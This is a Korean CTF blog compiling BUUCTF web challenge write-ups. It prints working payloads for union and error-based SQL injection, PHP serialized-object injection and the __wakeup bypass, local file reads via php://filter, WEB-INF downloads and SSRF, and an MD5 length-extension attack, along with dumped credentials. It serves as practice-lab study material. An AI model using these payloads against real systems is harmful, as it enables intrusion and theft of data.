view-source:http://5898ede5-0e9d-4e2f-8e19-add666f984c1.node3.buuoj.cn/check.php?username=%27+union+select+1,group_concat(schema_name),3%20from%20information_schema.schemata%23&password=guest

 

schema_name = geek

 

view-source:http://5898ede5-0e9d-4e2f-8e19-add666f984c1.node3.buuoj.cn/check.php?username=%27+union+select+1,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27geek%27%23&password=guest

 

table_name = geekuser, l0ve1ysq1

 

view-source:http://5898ede5-0e9d-4e2f-8e19-add666f984c1.node3.buuoj.cn/check.php?username=%27+union+select+1,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27l0ve1ysq1%27%23&password=guest

 

[l0ve1ysql] column name = id,username,password

 

view-source:http://5898ede5-0e9d-4e2f-8e19-add666f984c1.node3.buuoj.cn/check.php?username=%27+union+select+1,group_concat(concat(id,%27-%27,username,%27-%27,password)),3%20from%20l0ve1ysq1%23&password=guest

 

Hello 1-cl4y-wo_tai_nan_le,2-glzjin-glzjin_wants_a_girlfriend,3-Z4cHAr7zCr-biao_ge_dddd_hm,4-0xC4m3l-linux_chuang_shi_ren,5-Ayrain-a_rua_rain,6-Akko-yan_shi_fu_de_mao_bo_he,7-fouc5-cl4y,8-fouc5-di_2_kuai_fu_ji,9-fouc5-di_3_kuai_fu_ji,10-fouc5-di_4_kuai_fu_ji,11-fouc5-di_5_kuai_fu_ji,12-fouc5-di_6_kuai_fu_ji,13-fouc5-di_7_kuai_fu_ji,14-fouc5-di_8_kuai_fu_ji,15-leixiao-Syc_san_da_hacker,16-flag-flag{bd[redacted]c5}!

 

 

'Web > BUUCTF' 카테고리의 다른 글

[BUUCTF] - [BUUCTF 2018]Online Tool  (0) 2020.02.28
[BUUCTF] - [ZJCTF 2019]NiZhuanSiWei1  (0) 2020.02.26
[BUUCTF] - [极客大挑战 2019]LoveSQL1  (0) 2020.02.26
[BUUCTF] - [极客大挑战 2019]PHP1  (0) 2020.02.26
[BUUCTF] - [0CTF 2016]piapiapia1  (0) 2020.02.21
[BUUCTF] - [RoarCTF 2019]Easy Java1  (0) 2020.02.18

 

 

;;

최근 ctf 열려서 그 문제들 푸느라 한동안 buuctf를 못풀었다.

 

근데 최근 buuctf에 serialize/unserialize 문제들 나와서 풀었는데 그게 딱 pregyan ctf에 나오더라 ㅋㅋㅋ

(그 문제로 인해 rce -> 내부침투로 ctf 서버 터진건 안비밀;)

 

어쨌든 이번 문제도 serialize 관련 문제다.

 

이번에도 /www.zip 받아서 소스코드를 살펴볼 수 있었다.

 

중간에 class.php를 include하고 unserialize하는걸 확인할 수 있다.

 

class는 위와 같은데, constructor에서 username과 password를 받아 지역변수로 선언하고, destructor에서 password가 100이고 username이 admin이면 flag를 뿌려주는것을 확인할 수 있다.

 

특이한건 __wakeup() 메서드인데, 이 메서드는 object를 unserialize할때 실행되는 메서드라고 한다.

 

따라서 우리가 unserialize로 Name class를 unserializing하면 __wakeup() 메서드에 의해 username이 guest로 바뀌게 되어 플래그 출력이 불가해지는 것이다.

 

여기서 __wakeup()메서드에 관한 cve가 있었다 

 

CVE-2016-7124

https://bugs.php.net/bug.php?id=72663

 

PHP :: Sec Bug #72663 :: Create an Unexpected Object and Don't Invoke __wakeup() in Deserialization

 

bugs.php.net

 

간단하게 설명하면, new name("admin",100) 을 serializing하면

 

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

 

위와같이 된다.

 

여기서 Object의 serialized data format은

 

Object O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}

위와 같은데, object size를 실제 object size보다 더 크게 주면 __wakeup() 메서드가 실행이 되지 않는 버그가 CVE-2016-7124이다

 

 

따라서 object size를 늘려주고 전송해주면 __wakeup() 메서드가 실행되지 않고 admin,100조건이 맞게되어 플래그가 출력될 것이다.

 

php의 뭐같음을 다시한번 느낄 수 있었던 문제..

 

첨에 들어가면 로그인페이지 하나 준다. 뭐 별다른것도 없고 가입하기도 안보여서 어떻게해야하지.. 하면서 dir 브포 돌렸는데..

 

 

흠....

 

 

 

쨌든 소스코드 릭이 됐다.

 

분석을 해보면

 

register.php
update.php
profile.php

 

class.php - 1
class.php - 2

 

(숨겨진) register.php로 가입을 할수 있는데(?) 기본적으로 select, insert, update 문이 따로 구현이 되어있고, 이 query들에 user input을 전달하기 전에 filter 함수를 통과한다.

 

보통 filter함수는 preg_match로 탐지하여 승인/거부를 하는게 보통인데 여기선 특이하게 preg_replace를 통해 치환조치를 한다.

 

처음 보기엔 너무 안전해보여서 (?) 좀  많이 헤매다 결국 라업보고 풀게 된 문제이다.

 

 

쨌든, config.php에 flag가 변수로 박혀있는데, 이로 미루어보아 profile.php의 file_get_contents($profile['photo'])에 photo를 오염시켜 config.php를 불러오도록 lfi를 터트려야 하는게 최종 목적일것이다.

 


이 문제를 풀면서 가장 멘붕이 왔던 부분은 바로 이것이다.

 

 

???

 

serialize()를 수행하면 string 형태의 serialized data가 나오게 되는데, 이 때 구분자는 "(double quote)이다. 

 

그런데 사용자가 입력한 double quote가 그대로 삽입이 된다.

 

물론 s:6 <- 여기 이 문자열 길이로 체크하여 unserialize때 반영하긴 하지만 그대로 삽입된다는게 신선한 충격이었다.

 

(다른언어도 이런가 확인해보니, python의 pickle / ruby의 marshal 모두 serialized data의 구분자로 쓰이는 문자가 input에 들어갔을 경우 별도의 escaping logic이 존재했다)

 

 

어쨌든 이걸 이용하여 우리는 php serialize 함수에 injection attack을 해볼것이다.

 

 

1. filter함수는 "select, update, insert, delete, where"등 문자가 나오면 "hacker"로 치환시키는 함수이다.

 

2. update.php에서 user input을 통해 update를 수행하는 과정은 아래와 같다.

 ㄱ. post method로 전달된 user input이 존재하는지 확인

 ㄴ. username = $_SESSION['username'];

 ㄷ. phone number, email, nickname을 차례대로 정규식으로 검사, 검사결과가 맞지 않으면 die

  ㄷ-1. phone number - /\d{11$/ (attack impossible)

  ㄷ-2. email - (생략) (attack impossible)

  ㄷ-3. /[^a-zA-Z0-9_]/ && strlen($_POST['nickname']) <= 10 

    -> nickname[]=asdf

    -> strlen(['asdf']) == 0

 

 3. $profile dictionary에 user input information을 저장

 

 4. serialize($profile) 수행

 

 5. filter(serialize($profile)) 수행

 

 6. update 수행

 

- profile.php -

 

 7. select profile from users;

 

 8. unserialize($profile);

 

 9. file_get_contents(unserialize($profile)['photo']);

 


serialized data 이후에 filter 함수가 수행되므로 preg_replace는 serialized data에 직접 수행된다.

 

a:4:{s:5:"phone";s:11:"01073745280";s:5:"email";s:8:"aa@a.com";s:8:"nickname";a:1:{i:0;s:4:"asdf";}s:5:"photo";s:39:"upload/01234567890123456789012345678912";}

 

serialized data는 위와 같은데, 우리가 nickname[]=asdf를 넣게되면 위와같이 된다.

 

a:4:{s:5:"phone";s:11:"01073745280";s:5:"email";s:8:"aa@a.com";s:8:"nickname";a:1:{i:0;s:4:"asdf";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/01234567890123456789012345678912";}

위와같이 injection을 하게되면 nickname 뒤에있는 photo의 field value를 우리가 원하는 임의 값으로 쓸 수 있다.

 

php unserialize함수에선 앞에서부터 length를 해석하여 다 해석하면 그 뒤에부분을 버리기 때문에 a:4로 설정된 4개의 값 이후에 있는 injection 뒤의 찌꺼기 부분은 무시된다. 따라서 위와같이 injection된다면 unserialize($profile)['photo']는 'config.php'가 될것이다.

 

하지만 우리가 문자열을 삽입해주면 nickname 배열 안의 값 길이(s:{len})가 변하게 되는데, 우리가 만약 where를 넣게 된다면 hacker로 치환되며 1글자를 이득(?) 볼 수 있다.

 

따라서 우리가 본래 삽입부분 외에 넣어야 할 글자 - ";}s:5:"photo";s:10:"config.php";}- 의 길이수만큼 where를 넣는다면 글자수가 딱 맞게 될것이다.

 

 

 

문제 이름에서도 알수 있듯이 쿠키 보면 JSESSIONID 박혀있고 servlet mapping되어있는거로 보아 JSP-java로 구현되어있을 확률 99%

 

저기 [도움] 누르면 /Download?filename=help.docx로 이동함

 

 

근데 에러뜨네요

 

한참 헤매다 왜안되지 하면서 라업 봤는데 ㅡㅡ?

 

 

메서드 post로 바꾸니 된단다

ㅋㅋ.ㅋㅋ

 

/WEB-INF/web.xml 받고보면 FlagController가 있다.

 

com.wm.ctf.FlagController

 

모의해킹 많이 해본분들은 알겠지만 jsp 구조에서 /WEB-INF/web.xml에서 서블릿 매핑이나 클래스 참조같은거 설정하고, 여기에 설정된 클래스 이름대로 /WEB-INF/classes/ 밑에 디렉터리 구조로 들어가게 된다

 

따라서 /WEB-INF/classes/com/wm/ctf/FlagController.class 를 다운받으면 됨

 

flag base64 풀면 flag 획득

음.. 뭔가 똥내가 킁킁

 

 

 

lfi(local file include) 취약점이 있는 페이지이다.

 

 

그럼 바로 flag.php를 가져와보면

 

얘가 나를 놀린다;

 

 

file 말고 php 스키마의 base64 encoding filter 기능을 사용해보자.

 

/secr3t.php?file=php://filter/convert.base64-encode/resource=/var/www/html/flag.php

login, join이 있따.

 

특이하게 blog를 입력받는다

 

가입하고 내 username 클릭해보면 이렇게 내가 입력한 정보들이 나타나고, 밑에 frame에 blog주소를 띄워준다.

 

 

robots.txt를 보면 /user.php.bak을 준다.

 

소스를 받아보면,

 

대놓고 ssrf 취약점이 있는데 isValidBlog로 인해 정상적인 가입으로는 file:// 같은 스키마를 사용할 수 없다.

 

 

 

 

아까 게시판 같은 기능을 좀 더 살펴보면 no에 sqli vuln이 있는것을 확인할 수 있다.

 

몇가지 좀 하다보면 union sqli attack이 가능한것을 확인할 수 있다. union이랑 공백이 같이오면 ban이라 /**/로 우회했다.

 

error based sqli로 데이터를 가져와보자

 

/view.php?no=1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#

 

/view.php?no=1 and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)#

 

/view.php?no=1 and updatexml(1,make_set(3,'~',(select data from users)),1)#

 

대충 가져와보면 글자수 짤리는게 있는데 그런건 substr로 잘 잘라서 찔끔씩 보면 보인다.

 

어쨌든 스키마,테이블,컬럼, 내부데이터 다 추출해보면

 

#fakebook
 - users
  -> no
  -> username
  -> passwd
  -> data
  -> USER
  -> CURRENT_CONNECTIONS
  -> TOTAL_CONNECTIONS

이런 구조가 된다.

 

아직 모르는게 많아서 no,username,passwd,data 까지는 일반적인 데이타인데 뒤에 USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS 얘네는 뭐하는 애들인지 잘 모르겠다. 외부 table이랑 join된건가? 아니면 view랑 join된건가..?

 

어쨌든 필요한건 data인데, 앞에 no, username, passwd는 우리가 입력한 값이 박히는데(passwd는 해싱돼서 박히긴한다) data는 뭔가 구조가 이상꾸리하게 생겼다.

 

O:8:"UserInfo":3:{s:4:"name";s:4:"asdf";s:3:"age";i:1;s:4:"blog";s:13:"http://a.com/";}

sqli 하다보면 serialize() 에러가 종종 뜨는데, 딱 생긴것만 봐도 serialize/unserialize인걸 모른다면 그런 에러메세지로 유추할 수도 있다.

 

이제 이걸 union에 넣으면 우리가 원하는 데이터를 unserialize해서 화면에 뿌려줄것이다.

 

O:8:"UserInfo":3:{s:4:"name";s:4:"asdf";s:3:"age";i:1;s:4:"blog";s:18:"file:///etc/passwd";}

 

이제 flag.php를 같은 방식으로 가져오면,

 

접속하면 소스코드 준다. 근데 github 링크도 줘서 들가보면 문제 아카이빙 되어있는데 아마 정황상 실제 ctf에 출제됐을 당시엔 app.py의 소스코드만 공개되어있던것 같다. (이유는 뒤에 가면 나옴)

 

 

코드오디팅이야 각자 문제 코드 보시고, 중요한 부분만 살펴보면.

 

Exec 함수가 실제 사용자의 input action에 따라 동작을 수행하는 곳이다.

 

특이하게 살펴볼 곳은, if 'scan' in self.action과 if 'read' in self.action이 elif로 묶인게아니라 별도로 if로 되어있는것, 그리고 action을 ==이나 ===으로 일치를 보는게 아니라 'in' 키워드로 문자열에 속하는지를 통해 검증하는것이다.

 

위 코드는 sign값을 만들어내어 유저에게 전달해주는 함수이다. 코드 상 self.action은 scan으로 고정되어있기때문에 read action에 대한 sign값은 os.urandom(16)으로 정해진 secret_key로 해싱하기 때문에 예측할 수 없다. (현재로서는)

 

실제 sign을 만들어내는 함수로써, user input인 action과 param을 받아 secret_key와 더하여 md5 해싱한다.

여기서 주목할 점은 본래 argument가 action, param순으로 되어있는데 구욷이 key+param+action 순으로 더하여 해싱한다는 것이다. (나름의 힌트가 아니었을까)

 

뭐 앞단의 검증들이 끝나면 urllib.urlopen으로 param값을 넘기는 전형적인 ssrf형태의 코드가 나온다.

 

또 뭐 앞에 waf라고 해서 file이랑 gopher 스키마를 막는 구문이 있긴한데 이건 그냥 urllib.urlopen('/etc/passwd')로 하면 바로 파일 접근이 가능하기에 쉽게 우회될 수 있따.

 


 

그럼 이제부터 어떻게 풀어나갈지 한번 살펴보자

 

특이점

1. if elif가 아닌 if if로 되어있음 (앞의 if문이 충족해도 뒤의 if문까지 실행됨)

2. ==, ===가 아닌 in 키워드로 action 값 검증

3. key+param+action 순서의 md5 해싱

4. 굳이 md5로 해싱?

 

이를 살펴보면, 우리가 만약

 

1. 'scanread' 형식으로 action을 준다면?

 - if if로 되어있기 때문에 in 키워드를 if 'scan' in action과 if 'read' in action 조건을 둘다 만족시켜 read 구문까지 실행될 수 있다.

2. key+param+scan + read 형식의 md5를 예측할수있다면?

 - sign값을 알기 때문에 정상 요청이 가능하다!

 

이 문제를 풀기 전에 codegate 2020 csp 문제를 풀어봤기 때문에 length extension attack에 대하여 알고 있는 상태였따.

 

md5에 대한 length extensio attack을 할 수 있는 툴로는 'HashPump'가 있다.

 

이를 통해 length extension attack을 한다면 우리는 scan과 read를 동시에 하며 ssrf를 통한 lfi(local file include)가 가능해질것이다.

 


 

 

action : scan

param : /etc/passwd

일때 sign 값

 

 

known hash와 data1에 data2를 더했을 때의 예측 md5값과 modified data

 

 

실제 요청 쿼리

 - /etc/passwd가 잘 가져와짐!

 

 

 

이제 여기서부터가 실제 ctf랑 달랐던 부분인데,

 

실제 ctf에선 'flag is in ./flag.txt'가 hint로 나왔나보다.

 

근데 난 flag.sh에서 flag경로가 나와서 ('/app/flag.txt') 그냥 바로 /app/flag.txt를 lfi로 가져왔는데, ctf에선 현재경로의 flag.txt를 구하라고 했다.

 

구하는 방법은, /proc/self/cwd/ 는 현재 실행된 프로세스를 실행한 디렉터리와 링킹되어있다.

 

따라서 /proc/self/cwd/flag.txt 가져오면 ./flag.txt와 동일하게 된다.

 

 

flag get!

냉무

 

앞에서부터 뿌시기로 했으니 쓴다만 이 문제는 쓸 가치도 없다

+ Recent posts